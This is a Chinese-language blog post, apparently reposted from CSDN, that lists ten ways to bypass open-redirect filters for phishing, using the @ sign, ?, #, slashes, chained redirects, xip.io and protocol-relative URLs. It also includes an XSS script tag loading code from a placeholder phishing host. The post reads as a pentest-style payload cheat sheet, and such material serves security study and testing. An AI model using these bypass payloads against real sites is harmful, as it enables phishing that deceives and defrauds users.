URL任意跳转(重定向)的绕过

漏洞描述

系统信任了用户传入的任意URL,导致URL跳转被恶意利用。
URL跳转漏洞目前在国内总体重视程度还远远不够,不过像腾讯,百度等大型互联网厂商已经在重视并修复该类型漏洞。目前URL跳转漏洞利用方式很多,本文主要讲解攻击者是如何绕过安全策略限制实现任意URL跳转。目前该漏洞多用于欺骗钓鱼
上一张案例图:
在这里插入图片描述

漏洞原理

目前不管是浏览器,QQ,微信等都对钓鱼链接做了屏蔽或是标记处理。猜测原理是通过大数据处理识别分析得出的结果。但是如果通过URL跳转漏洞,能提高用户信任度的同时,还能绕过防护,达到欺诈目的。

限制绕过

我们假设:
跳转链接http://www.xxx.com?url=http://test.com
其中http://test.com为正常跳转链接
恶意钓鱼链接为fishing.com,ip地址为192.168.1.1
1 @符号绕过

http://www.xxx.com?url=http://[email protected]

2 问号绕过

http://www.xxx.com?url=http://fishing.com?test.com

3 # 绕过

http://www.xxx.com?url=http://fishing.com#test.com

4 正反斜杠绕过

http://www.xxx.com?url=http://fishing.com/test.com
http://www.xxx.com?url=http://fishing.com\test.com
http://www.xxx.com?url=http://fishing.com\\test.com
http://www.xxx.com?url=http://fishing.com\.test.com

5 白名单
部分网站对跳转做了内容检测,比如白名单允许包含fish字符的链接通过,那么我们就能找包含fish的链接就行跳转。

http://www.xxx.com?url=http://fishing.com

6 多重跳转
例如 网站存在跳转http://www.xxx.com?url=http://test.com,但是限制仅限于xxx.com,那么我们为了达到目的可以先跳转到xxx.com,在跳转到fishing.com

http://www.xxx.com?url=http://test.com?url=fishing.com

7 功能触发跳转

某些时候在修改链接后加载没反应,可能需要触发某功能来进行跳转,比如登录,删除等,具体看跳抓链接处于那个功能点。

8 xip.io绕过

http://www.xxx.com?url=http://test.com.192.168.1.1.xip.io

9 协议绕过
删除或切换http和https,或者增加多个斜杠

http://www.xxx.com?url=//fishing.com#test.com
http://www.xxx.com?url=///fishing.com#test.com

10 xss跳转
xss情况比较多,根据实际情况而定

<script src=https://fishing.com></script>
发布了44 篇原创文章 · 获赞 12 · 访问量 5535

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/103505767
今日推荐